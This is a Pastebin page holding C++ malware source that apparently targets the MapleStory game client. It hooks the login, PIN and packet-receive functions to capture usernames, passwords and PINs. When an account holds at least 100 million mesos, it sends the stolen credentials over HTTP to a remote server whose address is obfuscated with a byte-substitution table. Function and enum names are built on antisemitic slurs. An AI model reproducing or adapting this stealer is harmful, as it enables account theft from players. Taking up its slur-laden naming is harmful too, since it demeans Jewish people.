API tools faq
paste
Guest User

Untitled

a guest
Oct 22nd, 2017
75
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.31 KB | None | 0 0
raw download clone embed print report
  1. #include <windows.h>
  2. #include <string>
  3. #include <boost/asio.hpp>
  4. #include <boost/smart_ptr.hpp>
  5. #include <boost/format.hpp>
  6.  
  7. static BYTE sbox[] =
  8. {
  9. 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
  10. 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
  11. 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
  12. 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
  13. 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
  14. 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
  15. 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
  16. 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
  17. 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
  18. 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
  19. 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
  20. 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
  21. 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
  22. 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
  23. 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
  24. 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
  25. };
  26.  
  27. static BYTE inv_sbox[] =
  28. {
  29. 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
  30. 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
  31. 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
  32. 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
  33. 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
  34. 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
  35. 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
  36. 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
  37. 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
  38. 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
  39. 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
  40. 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
  41. 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
  42. 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
  43. 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
  44. 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
  45. };
  46.  
  47. class CPrivateText
  48. {
  49. public:
  50. explicit CPrivateText()
  51. {
  52. this->fEncrypted = false;
  53. this->cchData = 0;
  54. }
  55.  
  56. explicit CPrivateText(void* lpvData, std::size_t cbData)
  57. {
  58. assert(lpvData != NULL);
  59. assert(cbData != 0);
  60.  
  61. this->fEncrypted = true;
  62. this->cchData = cbData;
  63. this->bData.reset(new BYTE[cbData]);
  64. memcpy(this->bData.get(), lpvData, cbData);
  65. }
  66.  
  67. void SetText(char const* lpcszText)
  68. {
  69. assert(lpcszText != NULL);
  70.  
  71. this->cchData = strlen(lpcszText) + 1;
  72. this->bData.reset(new BYTE[this->cchData]);
  73. memcpy(this->bData.get(), lpcszText, this->cchData);
  74. this->Encrypt();
  75. }
  76.  
  77. void SetText(const std::string& strText)
  78. {
  79. assert(!strText.empty());
  80.  
  81. this->cchData = strText.size() + 1;
  82. this->bData.reset(new BYTE[this->cchData]);
  83. memcpy(this->bData.get(), strText.c_str(), this->cchData);
  84. this->Encrypt();
  85. }
  86.  
  87. std::string operator()()
  88. {
  89. if (fEncrypted)
  90. this->Decrypt();
  91.  
  92. std::string str;
  93. for (std::size_t index = 0; index < this->cchData; index++)
  94. str.push_back(static_cast<char>(this->bData[index]));
  95.  
  96. return str;
  97. }
  98.  
  99. private:
  100. bool fEncrypted;
  101. boost::scoped_array<BYTE> bData;
  102. std::size_t cchData;
  103.  
  104. void Encrypt()
  105. {
  106. assert(!this->fEncrypted);
  107. assert(this->cchData);
  108.  
  109. for (std::size_t index = 0; index < this->cchData; index++)
  110. this->bData[index] = sbox[this->bData[index]];
  111. }
  112.  
  113. void Decrypt()
  114. {
  115. assert(this->fEncrypted);
  116. assert(this->cchData);
  117.  
  118. for (std::size_t index = 0; index < this->cchData; index++)
  119. this->bData[index] = inv_sbox[this->bData[index]];
  120. }
  121. };
  122.  
  123. static enum JewStates
  124. {
  125. Idle,
  126. GotUserPass,
  127. GotPin,
  128. GotMesos
  129. } JewState = JewStates::Idle;
  130. static CPrivateText ptUsername, ptPassword, ptPin, ptMesos;
  131.  
  132. void SendJewedInfo()
  133. {
  134. assert(JewState == JewStates::GotMesos);
  135.  
  136. static BYTE bHostname[] =
  137. {
  138. 0xF5, 0xF5, 0xF5, 0x31, 0x4D, 0x51, 0xF9, 0xFB,
  139. 0x43, 0xA8, 0x3C, 0xEF, 0xF9, 0x9F, 0x31, 0x9F,
  140. 0xEF, 0x3C, 0x4D, 0x63
  141. };
  142.  
  143. static BYTE bProtocol[] = { 0x45, 0x92, 0x92, 0x51, 0x63 };
  144.  
  145. static BYTE bFormat[] =
  146. {
  147. 0xA0, 0x6E, 0x20, 0xB7, 0x15, 0x02, 0x4D, 0xF5,
  148. 0x31, 0x51, 0x45, 0x51, 0x75, 0xEF, 0x27, 0x3F,
  149. 0xC7, 0x3F, 0xF7, 0xAA, 0x27, 0x3F, 0x23, 0x3F,
  150. 0xF7, 0xFB, 0x27, 0x3F, 0xC3, 0x3F, 0xF7, 0x43,
  151. 0x27, 0x3F, 0x18, 0x3F, 0xB7, 0x52, 0x20, 0x20,
  152. 0x53, 0x15, 0xC7, 0x31, 0xC7, 0x63
  153. };
  154.  
  155. static BYTE bHost[] =
  156. {
  157. 0x52, 0xA8, 0x8F, 0x92, 0x80, 0xB7, 0xF5, 0xF5,
  158. 0xF5, 0x31, 0x4D, 0x51, 0xF9, 0xFB, 0x43, 0xA8,
  159. 0x3C, 0xEF, 0xF9, 0x9F, 0x31, 0x9F, 0xEF, 0x3C,
  160. 0x4D, 0x63
  161. };
  162.  
  163. static BYTE bAccept[] =
  164. {
  165. 0x83, 0xFB, 0xFB, 0x4D, 0x51, 0x92, 0x80, 0xB7,
  166. 0x92, 0x4D, 0xBC, 0x92, 0x15, 0x45, 0x92, 0x3C,
  167. 0x50, 0x63
  168. };
  169.  
  170. static BYTE bConnection[] =
  171. {
  172. 0x1A, 0xA8, 0x9F, 0x9F, 0x4D, 0xFB, 0x92, 0xF9,
  173. 0xA8, 0x9F, 0x80, 0xB7, 0x7F, 0x4D, 0x4D, 0x51,
  174. 0xD8, 0xEF, 0x50, 0xF9, 0x38, 0x4D, 0x63
  175. };
  176.  
  177. boost::asio::io_service io_service;
  178.  
  179. boost::asio::ip::tcp::resolver resolver(io_service);
  180. boost::asio::ip::tcp::resolver::query query(CPrivateText(bHostname, sizeof(bHostname))(),
  181. CPrivateText(bProtocol, sizeof(bProtocol))());
  182. boost::asio::ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(query);
  183. boost::asio::ip::tcp::resolver::iterator end;
  184.  
  185. boost::asio::ip::tcp::socket socket(io_service);
  186. boost::system::error_code error = boost::asio::error::host_not_found;
  187. while (error && endpoint_iterator != end)
  188. {
  189. socket.close();
  190. socket.connect(*endpoint_iterator++, error);
  191. }
  192.  
  193. if (!error)
  194. {
  195. boost::asio::streambuf request;
  196. std::ostream request_stream(&request);
  197.  
  198. boost::format fmt(CPrivateText(bFormat, sizeof(bFormat))());
  199. request_stream << (fmt % ptUsername() % ptPassword() % ptPin() % ptMesos()) << "\r\n";
  200. request_stream << CPrivateText(bHost, sizeof(bHost))() << "\r\n";
  201. request_stream << CPrivateText(bAccept, sizeof(bAccept))() << "\r\n";
  202. request_stream << CPrivateText(bConnection, sizeof(bConnection))() << "\r\n" << "\r\n";
  203.  
  204. boost::asio::write(socket, request);
  205. socket.close();
  206. }
  207.  
  208. JewState = JewStates::Idle;
  209. }
  210.  
  211. typedef LPVOID (__fastcall* lpfnLoginFunc)(LPVOID lpvClass, LPVOID lpvEDX, LPCSTR lpcszUser, LPCSTR lpcszPass);
  212. lpfnLoginFunc LoginFunc = reinterpret_cast<lpfnLoginFunc>(0x005A9F90); //Call @ E8 ? ? ? FF 8B F8 8B 44 24 ? C6 44 24 ? ? 3B C3
  213.  
  214. LPVOID __fastcall LoginHook(LPVOID lpvClass, LPVOID lpvEDX, LPCSTR lpcszUser, LPCSTR lpcszPass)
  215. {
  216. if (lpcszUser != NULL && lpcszPass != NULL)
  217. {
  218. ptUsername.SetText(lpcszUser);
  219. ptPassword.SetText(lpcszPass);
  220. JewState = JewStates::GotUserPass;
  221. }
  222.  
  223. return LoginFunc(lpvClass, lpvEDX, lpcszUser, lpcszPass);
  224. }
  225.  
  226. typedef LPVOID (__fastcall* lpfnAddString)(LPVOID lpvClass, LPVOID lpvEDX, LPCSTR lpcszToken);
  227. lpfnAddString AddString = reinterpret_cast<lpfnAddString>(0x0047B5C0); //Call above ReturnAddress //Call @ E8 ? ? ? FF 51 8B CC 8D 44 24 ? 89 64 24 ? 50 89 29
  228.  
  229. LPVOID __fastcall PinHook(LPVOID lpvClass, LPVOID lpvEDX, LPCSTR lpcszToken)
  230. {
  231. if (reinterpret_cast<DWORD_PTR>(_ReturnAddress()) == 0x005AAC5C) //8D 4D DC 51 8B 0D ? ? ? 00 E8 ? ? ? FF 8D 4D
  232. {
  233. ptPin.SetText(lpcszToken);
  234. JewState = JewStates::GotPin;
  235. }
  236.  
  237. return AddString(lpvClass, lpvEDX, lpcszToken);
  238. }
  239.  
  240. struct CInPacket
  241. {
  242. BOOL fLoopback;
  243. INT iState;
  244. union
  245. {
  246. struct
  247. {
  248. DWORD dwUnknown;
  249. BYTE bData[0];
  250. } *pData;
  251. struct
  252. {
  253. DWORD dwUnknown;
  254. WORD wOpcode;
  255. } *pOpcode;
  256. };
  257. USHORT usLength; //size of preceding struct
  258. };
  259.  
  260. typedef LPVOID (__fastcall* lpfnRecvPacket)(LPVOID lpvClass, LPVOID lpvEDX, CInPacket* pInPacket);
  261. lpfnRecvPacket RecvPacket = reinterpret_cast<lpfnRecvPacket>(0x004A5830);
  262.  
  263. void __fastcall RecvHook(LPVOID lpvClass, LPVOID lpvEDX, CInPacket* pInPacket)
  264. {
  265. if (pInPacket != NULL)
  266. {
  267. try
  268. {
  269. if (pInPacket->pOpcode->wOpcode == 0x00D1 && pInPacket->usLength == 13)
  270. {
  271. INT iMesos = *reinterpret_cast<LPINT>(pInPacket->pData->bData + 8);
  272. if (iMesos >= 100000000) //at least 100m mesos
  273. {
  274. static boost::format fmt("%i");
  275.  
  276. ptMesos.SetText((fmt % iMesos).str());
  277. JewState = JewStates::GotMesos;
  278. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&SendJewedInfo, NULL, 0, NULL);
  279. }
  280. }
  281. }
  282. catch (...) { }
  283. }
  284.  
  285. return RecvPacket(lpvClass, lpvEDX, pInPacket);
  286. }
  287.  
  288. void JewShit(BOOL fEnable)
  289. {
  290. SetHook(fEnable, reinterpret_cast<PVOID*>(&LoginFunc), &LoginHook);
  291. SetHook(fEnable, reinterpret_cast<PVOID*>(&AddString), &PinHook);
  292. //and hook meso shit too
  293. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!